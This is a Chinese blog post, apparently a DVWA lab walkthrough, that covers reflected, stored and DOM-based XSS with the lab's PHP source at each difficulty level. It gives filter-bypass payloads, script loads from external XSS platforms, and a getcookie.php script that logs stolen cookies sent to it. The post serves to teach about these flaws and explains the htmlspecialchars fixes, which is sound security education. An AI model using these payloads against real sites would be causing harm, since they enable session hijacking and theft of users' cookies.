zoukankan      html  css  js  c++  java
  • XSS

    XSS

    知识点

    XSS概念:由于web应用程序对用户的输入过滤不严,通过html注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

    XSS类型:

    反射型XSS:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要去诱使用户点击一个恶意链接,才能攻击成功。 往往只一次有效。

    前端->后端->前端

    存储型XSS:将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本。可多次有效。比如某网站评论区有xss漏洞,利用该漏洞,每当用户访问该留言界面时,就会触发该xss漏洞,这时我们就可以在xss平台上获取这个用户的cookie,来实现无密码登录。

    前端->后端->数据库->前端

    DOM型XSS:文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。

    反射型XSS

    low

     <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }
    
    ?>
    

    当后台与前端浏览器进行交互时,很有可能会产生xss漏洞,审计代码发现没有对参数进行过滤

    进行xss攻击

    <script>alert(‘xss’)</script>
    
    <body onload=alert('xss2')>
    
    <a href='' onclick=alert('xss3')>click1</a>    #点击click1时弹出xss3
    
    <img src=http://192.168.10.128/a.jpg onerror=alert('xss4')>  #src地址错误,然后执行onerror的内容
    

    网页重定向

    <script>window.location='http://www.163.com'</script>
    
    <iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>
    

    我们可以利用xss平台来获取cookie

    </textarea>'"><script src=https://xsspt.com/18lqwS?1602040683></script>
    
    medium
    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    	// Get input
    	$name = str_replace( '<script>', '', $_GET[ 'name' ] );
    
    	// Feedback for end user
    	$html .= "<pre>Hello ${name}</pre>";
    }
    
    ?>
    

    审计代码,就过滤了一个<script>标签,我们可以通过大小写绕过,<scr<script>ipt>双写绕过,或者利用别的标签绕过

    利用xss平台

    </textarea>'"><script src=https://xsspt.com/18lqwS?1602040925></script>
    

    这里<script src=...>跟过滤的不相符,自然也可以绕过

    high
    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    	// Get input
    	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
    	// Feedback for end user
    	$html .= "<pre>Hello ${name}</pre>";
    }
    
    ?>
    

    审计代码,只要在字符串中以<script>的形式哪怕是断断续续的不区分大小写,就会将其过滤

    这时我们用其他标签绕过

    <img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//0xs.co/kUhA0';>
    

    啊这,好像不行,为什么呢,因为这个字符串内有断断续续的字符能构成<script>,这时我们要利用harkbar内xss中的htmlcharacter功能,进行转码,实现绕过

    <img src=x onerror=s=createElement('scr&#105;pt');body.appendChild(s);s.src='//0xs.co/kUhA0';>
    

    我们也可以在自己写一个getcookie.php

    <?php
    
    $cookie=$_GET['cookie'];
    
    $file=fopen("cookie.txt","a");
    
    fwrite($file,$cookie."
    ");
    
    fclose($file)
    
    ?>
    

    这里记得开启创建并写入文件的权限

    chmod 777 .

    在输入框内输入

    <img scr=# onerror=(location.href="http://127.0.0.1/getcookie.php?cookie=")+document.cookie>
    

    这时要注意绕过正则

    <img src=# onerror=(locat&#105;on.href="http://127.0.0.1/getcook&#105;e.php?cook&#105;e="+document.cookie)>
    

    我们就可以在cookie.txt内看到cookie

    impossible
    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    	// Check Anti-CSRF token
    	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    	// Get input
    	$name = htmlspecialchars( $_GET[ 'name' ] );
    
    	// Feedback for end user
    	$html .= "<pre>Hello ${name}</pre>";
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    

    使用htmlspecialchars()函数对参数进行html实体转义,将html标签转换成文本,浏览器就无法识别标签,就抵御了xss漏洞

    存储型XSS

    low
    <?php
      
    if( isset( $_POST[ 'btnSign' ] ) ) {
    
    	// Get input
    
    	$message = trim( $_POST[ 'mtxMessage' ] );
    
    	$name    = trim( $_POST[ 'txtName' ] );
    
    	// Sanitize message input
    
    	$message = stripslashes( $message );
    
    	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
    	// Sanitize name input
    
    	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
    
    
    	// Update database
    
    	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    
    	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
    
    
    	//mysql_close();
    
    }
    
    ?>
    

    审计代码,发现对name和comment进行了防sql注入处理,但是没有进行防xss

    这里我们试着输入name:11 comment:/111

    但是stripslashes函数没有把comment的反斜杠给去除掉,也是很迷

    我们利用xss平台

    </textarea>'"><script src=https://xsspt.com/18lqwS?1602047123></script>
    

    name框随便输,comment框输入上述(利用火狐改变输入框最多输入字符数),我们可以在xss平台获取cookie,但是我试着重复访问这个页面,发现xss平台在接收完第一次cookie时,并没有重复接收cookie,而我们要是利用getcookie.php,每访问一次,便会返回一个cookie给cookie.txt,这时我们得到的cookie便是反反复复重复的。简单来说,就是xss平台利用的存储型xss漏洞,接收的cookie不会重复,而getcookie.php变会重复。而我们的<script>alert(111)</script>也是每次刷新或者访问都会出现

    medium
     <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = str_replace( '<script>', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    
    ?>
    

    strip_tags()函数是去除字符串中的 HTML、XML 以及PHP的标签,返回去除标签之后的字符串

    addslashes()函数在单引号,双引号,反斜杠,等前面加反斜杠转义

    这里我们发现只对message进行了防xss处理,对name只进行了一个<script>过滤,我们完全可以用大小写绕过,或者双写,其他标签也行

    我们在name框放入

    </textarea>'"><script src=https://xsspt.com/18lqwS?1602049302></script>
    

    即可获取cookie,每当有一个新用户访问留言界面时,xss平台上便会接收这个新用户的cookie,注意已经获取的老用户cookie,再访问时,xss平台上不会接收这个老用户的cookie.

    high
    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
    
    	// Get input
    
    	$message = trim( $_POST[ 'mtxMessage' ] );
    
    	$name    = trim( $_POST[ 'txtName' ] );
    
    	// Sanitize message input
    
    	$message = strip_tags( addslashes( $message ) );
    
    	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
    	$message = htmlspecialchars( $message );
    
    	// Sanitize name input
    
    	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    
    	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
    	// Update database
    
    	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    
    	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
    	//mysql_close();
    
    }
    
    ?>
    

    对message进行了防sql注入和抵御xss,但是对name还是跟反射型xss中high级别一样的处理,我们一样的绕过就行

    <img src=x onerror=s=createElement('scr&#105;pt');body.appendChild(s);s.src='//0xs.co/kUhA0';>
    

    impossible

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
    	// Check Anti-CSRF token
    	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    	// Get input
    	$message = trim( $_POST[ 'mtxMessage' ] );
    	$name    = trim( $_POST[ 'txtName' ] );
    
    	// Sanitize message input
    	$message = stripslashes( $message );
    	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    	$message = htmlspecialchars( $message );
    
    	// Sanitize name input
    	$name = stripslashes( $name );
    	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    	$name = htmlspecialchars( $name );
    
    	// Update database
    	$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    	$data->bindParam( ':message', $message, PDO::PARAM_STR );
    	$data->bindParam( ':name', $name, PDO::PARAM_STR );
    	$data->execute();
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    
    

    可以看到对name和message都进行了htmlspecialchars()处理,并且防止了sql注入。

    DOM型xss

    知识点

    什么是DOM?
    DOM(Document Object Model)即文档对象模型, 定义了访问HTML和XML文档的标准。

    DOM型XSS攻击是DOM的一种攻击。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,例如:

    • document.referer
    • window. name
    • location
    • innerHTML
    • documen.write

    客户端的脚本程序可以通过DOM动态检查和修改页面内容。它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行。如果DOM中的数据没有经过严格确认,就会被注入攻击。

    DOM型XSS可能是反射型,也可能是存储型。

    low
     <?php
    
    # No protections, anything goes
    
    ?>
    
    

    可以看到没有进行任何的过滤


    可以看到,我们选择English时,default=English,并且html页面中插入了

    <option value="English">English</option>
    <option value="" disabled="disabled">---</option>
    

    我们插入

    <script>alert(111)</script>
    


    可以看到value里面便是我们插入的语句,并且成功执行了。

    我们利用xss平台,获取cookie

    </textarea>'"><script src=https://xsspt.com/18lqwS?1602141455></script>
    
    medium

    构造?default=<script>alert(11111)</script>,这时页面会自动跳转?default=English

    双写绕过 :?default=<scri<script>pt>alert(1111)</scr</script>ipt>,这时页面也会自动跳转?default=English

    大小写绕过:?default=<Scipt>alert(111)</scRiPt>,这时页面会自动跳转?default=English

    我们猜测后台对<script>标签进行了比较严格的过滤

    尝试用别的标签

    构造?default=<img src=# onerror=alert(1111)>


    发现插入到了value值里,并没有插入option标签内,这是为什么呢?

    纠结了好久,html菜真没办法。

    因为select标签内只允许内嵌option标签,而option标签中能内嵌script标签但不能内嵌img等标签,因此需要在注入时先闭合option和select标签从而使注入的标签逃逸出来执行XSS

    所以插入

    </option></select><img src=# onerror=alert(document.cookie)>
    

    即可实现绕过

    利用xss平台

    </option></select><img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//0xs.co/lab63';>
    

    后台源码

    <?php
    
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
        $default = $_GET['default'];
        
        # Do not allow script tags
        if (stripos ($default, "<script") !== false) {
            header ("location: ?default=English");
            exit;
        }
    }
    
    ?> 
    

    可知用stripos过滤了<script,使得大小写和双写没用

    high
    <?php
    
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    
        # White list the allowable languages
        switch ($_GET['default']) {
            case "French":
            case "English":
            case "German":
            case "Spanish":
                # ok
                break;
            default:
                header ("location: ?default=English");
                exit;
        }
    }
    
    ?> 
    

    可知是白名单限制

    URL栏的#号之后的内容并不会发送至服务器端,JS应用该符号实现在页面创建加载过程中定向到指定的页面内容上。

    构造

    English#<script>alert(1111)</script>
    

    实现了绕过


    可以看到发送给后台的链接是?default=English

    而我们客户端的是?default=English#<script>alert(1111)</script>

    客户端的脚本是

    if (document.location.href.indexOf("default=") >= 0) {
    						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    						document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    						document.write("<option value='' disabled='disabled'>----</option>");
    					}
    					    
    					document.write("<option value='English'>English</option>");
    					document.write("<option value='French'>French</option>");
    					document.write("<option value='Spanish'>Spanish</option>");
    					document.write("<option value='German'>German</option>");
    

    截取到的lang是我们客户端的default参数,而不是发送给服务器的default参数


    impossible
    <?php
    
    # Don't need to do anything, protction handled on the client side
    
    ?> 
    

    大概意思是只在客户端做好防护就行了

    if (document.location.href.indexOf("default=") >= 0) {
    						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    						document.write("<option value='" + lang + "'>" + (lang) + "</option>");
    						document.write("<option value='' disabled='disabled'>----</option>");
    					}
    					    
    					document.write("<option value='English'>English</option>");
    					document.write("<option value='French'>French</option>");
    					document.write("<option value='Spanish'>Spanish</option>");
    					document.write("<option value='German'>German</option>");
    
    

    我们看到没有对lang进行url解码,自然就没有dom型xss

    并且我们由此可以知道url中的参数都是经过了url编码的,只是为了使用户看起来舒服,没有显示出来

    由bp里的发送头也可以得知是编码的,然后发送到后台自动解码一次

  • 相关阅读:
    关于跳板机登陆服务器一系列操作命令
    Linux环境搭建docker-selenium来运行UI自动化
    linux环境升级python2.7到python最新版本
    守护进程的理解--性能
    macbook添加webdriver驱动注意事项
    windows压测机本地端口号配置
    jmeter的bean shell 如何写数据到文件中
    Jenkins Pipeline介绍
    Jenkins创建Maven Job
    配置 Maven 项目使用 Nexus 仓库
  • 原文地址:https://www.cnblogs.com/NineOne/p/13781961.html
Copyright © 2011-2022 走看看